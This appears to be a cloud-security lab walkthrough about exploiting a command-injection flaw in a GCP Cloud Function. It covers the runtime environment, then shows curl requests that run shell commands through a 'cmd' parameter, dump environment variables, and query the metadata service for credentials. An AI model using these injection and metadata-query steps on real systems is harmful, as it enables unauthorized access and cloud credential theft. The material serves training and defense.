The Plan

```
- Browse to the Cloud Function HTTP endpoint to discover a CMDi vulnerability
- Leverage the CMDi vulnerabiltiy in the Cloud Function
- Recon the environment to discover we have landed in a Cloud Function
```

GCP Cloud Functions

Cloud Functions is GCP's serverless function or FaaS offering, much like Azure's Functions or AWS's Lambda service. Cloud Functions can be used to support a wide variety of operations in support of really any type of application. They might be used for backend asyncronous processing of long running or complicated tasks. Or they may support specific endpoints for a semi or fully serverless web application.

GCP takes a bit of a different approach to their Cloud Functions environment when compared with Lambda or Azure Functions. Let's examine a few of the interesting points of the Cloud Functions environment.

Code Execution

For the python runtime environment, GCP executes function inside of a Flask server. Parameters are delivered via the standard Flask requests.args.get("parameter_name"). The Jinja templating engine is also provided along with some other standard libraries listed in the directory /worker/constraints.txt

```
# Lock versions of Worker dependencies. To regenerate this list, install Worker
# dependencies in virtualenv in Docker container but without setting these
# constraints, run 'pip freeze --all', and copy the output to this file, except
# for 'google-cloud-functions-worker', which is installed from local path and
# cannot be constrained to a version. Remember about propagating new versions to
# Builder's requirements.txt.
click==6.7
Flask==1.0.2
google-cloud-trace==0.19.0
itsdangerous==0.24
Jinja2==2.10
MarkupSafe==1.0
opencensus==0.1.6
pip==20.0.2
requests==2.21.0
aiohttp==3.6.2
setuptools==40.2.0
Werkzeug==0.14.1
wheel==0.31.1
wrapt==1.10.11
```

Authentication

Interestingly enough, code executed with Cloud Functions runs as the root user. Unlike Azure and AWS, Cloud Functions actually still have access to the metadata service which is used for passing credentials to the function as necessary, much like Compute Engine.

Directory Structure

As the root user, you are able to fully view the directory structure of the Cloud Function environment. Here are a few interesting directories:

```
/user_code    directory that holds the function code
/worker       contains code for the Google worker that executes the code
/tmp          only writeable directory
```

Exploitation

Identifying a Cloud Function

A vulnerable Cloud Function is identified to be at

```
https://us-east4-gcptraininggcf001.cloudfunctions.net/function-001
```

The parameter cmd accepts a shell command and executes it within the Cloud Function environment. It is a straight-forward CMDi vulnerability.

We can determine that we are targeting a Cloud Function environment based on the URL. However, if we were not directly aware of the URL, there are other ways we may have determined the URL was supported by a Cloud Function. For example, if we examine the response headers we notice an interesting header:

function-execution-id: yw6czjbd32t5

If we are receiving this header, then we know that a GCP Cloud Function is supporting the URL we are accessing.

We can easily view headers via the "-I" switch with the curl command:

```
root@ip-10-0-1-98:~# curl -I https://us-east4-gcptraininggcf001.cloudfunctions.net/function-001
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Function-Execution-Id: mqqk6slr77g5
X-Cloud-Trace-Context: 93edfb4e55216fa82d03d5f880a35955;o=1
Content-Length: 68
Date: Sat, 01 Aug 2020 05:17:02 GMT
Server: Google Frontend
Alt-Svc: h3-29=":443"; ma=2592000,h3-27=":443"; ma=2592000,h3-T050=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=

root@ip-10-0-1-98:~#
```

Testing the Vulnerability

We can run a few basic commands to start getting an idea of the environment. The following command will show us the user context we are currently executing as:

```
curl https://us-east4-gcptraininggcf001.cloudfunctions.net/function-001?cmd=whoami
```

We should see a result like the following:

```
root
```

Next, we can check the directory we are executing from:

```
curl https://us-east4-gcptraininggcf001.cloudfunctions.net/function-001?cmd=pwd
```

And the result:

```
/user_code
```

Showing that we are running from the /user_code directory. We can list the files within the directory:

```
curl https://us-east4-gcptraininggcf001.cloudfunctions.net/function-001?cmd=ls%20-l
```

Which returns:

```
-rw-r--r-- 1 root root 1096 Jul 31 00:55 main.py
-rw-r--r-- 1 root root   57 Jul 31 00:55 requirements.txt
```

We can run cat on main.py to examine the source code of the Cloud function.

Running the env command shows us environment variables. Developers are able to add variables from the console making this a good place to always check. However, we do not typically expect to find GCP credentials within the environment variables.

```
X_GOOGLE_FUNCTION_TIMEOUT_SEC=60
X_GOOGLE_FUNCTION_MEMORY_MB=256
FUNCTION_TIMEOUT_SEC=60
FUNCTION_MEMORY_MB=256
X_GOOGLE_LOAD_ON_START=false
HOME=/tmp
PORT=8080
ENTRY_POINT=hello_world
X_GOOGLE_FUNCTION_TRIGGER_TYPE=HTTP_TRIGGER
X_GOOGLE_SUPERVISOR_HOSTNAME=supervisor
```

```
FUNCTION_TRIGGER_TYPE=HTTP_TRIGGER
X_GOOGLE_FUNCTION_NAME=function-001
X_GOOGLE_GCLOUD_PROJECT=gcptraininggcf001
LC_CTYPE=C.UTF-8
FUNCTION_NAME=function-001
SUPERVISOR_INTERNAL_PORT=8081
X_GOOGLE_GCP_PROJECT=gcptraininggcf001
X_GOOGLE_FUNCTION_REGION=us-east4
FUNCTION_REGION=us-east4
X_GOOGLE_ENTRY_POINT=hello_world
PATH=/env/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
X_GOOGLE_WORKER_PORT=8091
CODE_LOCATION=/user_code
SUPERVISOR_HOSTNAME=supervisor
WORKER_PORT=8091
DEBIAN_FRONTEND=noninteractive
X_GOOGLE_FUNCTION_IDENTITY=gcptraininggcf001@appspot.gserviceaccount.com
GCLOUD_PROJECT=gcptraininggcf001
X_GOOGLE_CONTAINER_LOGGING_ENABLED=false
FUNCTION_IDENTITY=gcptraininggcf001@appspot.gserviceaccount.com
X_GOOGLE_CODE_LOCATION=/user_code
VIRTUAL_ENV=/env
PWD=/user_code
GCP_PROJECT=gcptraininggcf001
X_GOOGLE_SUPERVISOR_INTERNAL_PORT=8081
X_GOOGLE_FUNCTION_VERSION=31
NODE_ENV=production
```

Much like Compute Engine, the metadata service is very important within Cloud Functions as it is where we are able to collect credentials that may lead to expanding the attack. Querying the metadata service can be a little difficult since we're running a curl command through another curl command. It's important to properly URL encode the nested curl command.

For example, the following command nests a curl request to the metadata service within a curl request exploiting the Cloud Function. This request will retrieve the project ID of the project the Cloud Function resides in.

```
 curl https://us-east4-gcptraininggcf001.cloudfunctions.net/function-001?cmd=curl%20-H%20%22Metadata-Flavor:%20Google%22%20http%3A%2F%2Fmetadata.google.internal%2FcomputeMetadata%2Fv1
```

Result:

```
gcptraininggcf001
```